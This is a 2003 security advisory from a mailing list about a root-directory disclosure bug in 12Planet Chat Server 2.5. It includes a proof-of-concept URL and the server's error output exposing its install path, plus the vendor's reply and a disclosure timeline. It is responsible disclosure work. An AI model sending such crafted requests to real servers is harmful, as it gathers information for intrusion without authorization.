[NT] Root Directory Revealing Vulnerability found in 12Planet Chat Server

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From: support@securiteam.com
To: list@securiteam.com
Date: 18 Apr 2003 12:04:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Root Directory Revealing Vulnerability found in 12Planet Chat Server
------------------------------------------------------------------------

SUMMARY

" <http://www.12planet.com/> 12Planet Chat Server provides advanced chat
functionalities aiming to offer discussion space for customers, partners,
and visitors. It addresses the demand from all web sites and
intranet/extranet portals willing to offer "sticky" services to their
visitors as well as secure and reliable real-time communication to their
customers. Its moderation option enables businesses to organize online
chat conferences by inviting celebrities, experts to talk with visitors
and moderate visitor questions through a moderation process."

It is possible to disclose the root directory by sending at special URL
request.

DETAILS

Vulnerable systems:
 * 12Planet Chat Server 2.5

The following transcript demonstrates the problem:
-------------------------------------------------------------------
Anything less then 3 times /qwe then you will only get a
HTTP 500 - Internal server error

Proof-Of-Concept exploit:
[Input in browser]
http://vuln-host:8080/qwe/qwe/qwe/index.html

[Output]
Error: 500
Internal Servlet Error:

java.io.IOException: bad path: C:\Program Files\12Planet Chat Server
v2.5.1\www\qwe\qwe\qwe\index.html
at java/io/File.canonPath
at java/io/File.getCanonicalPath
at com/sun/web/core/DefaultServlet.doGet
at javax/servlet/http/HttpServlet.service
at javax/servlet/http/HttpServlet.service
at com/sun/web/core/ServletWrapper.handleRequest
at com/sun/web/core/Context.handleRequest
at com/sun/web/server/ConnectionHandler.run

--------------------------------------------------------------------

Vendor response:
"Thank you for the bug report. We are currently analyzing the issues and
will keep you updated on the progress. 12Planet will provide assistance to
all the customers that are interested in the patch (email to :
support@12planet.com)
Best regards, Lei
12Planet"

Disclosure timeline:
21/02/2003 Found the Vulnerability.
21/02/2003 Reported to iDEFENSE
31/03/2003 Received rejection from iDEFENSE
01/04/2003 Reported to 12Planet (support@12planet.com; bugs@12planet.com;
sales@12planet.com; features@12planet.com)
01/04/2003 Received response from 12Planet
11/04/2003 Public Disclosure.

ADDITIONAL INFORMATION

The information has been provided by <mailto:der@infowarfare.dk> Dennis
Rand.

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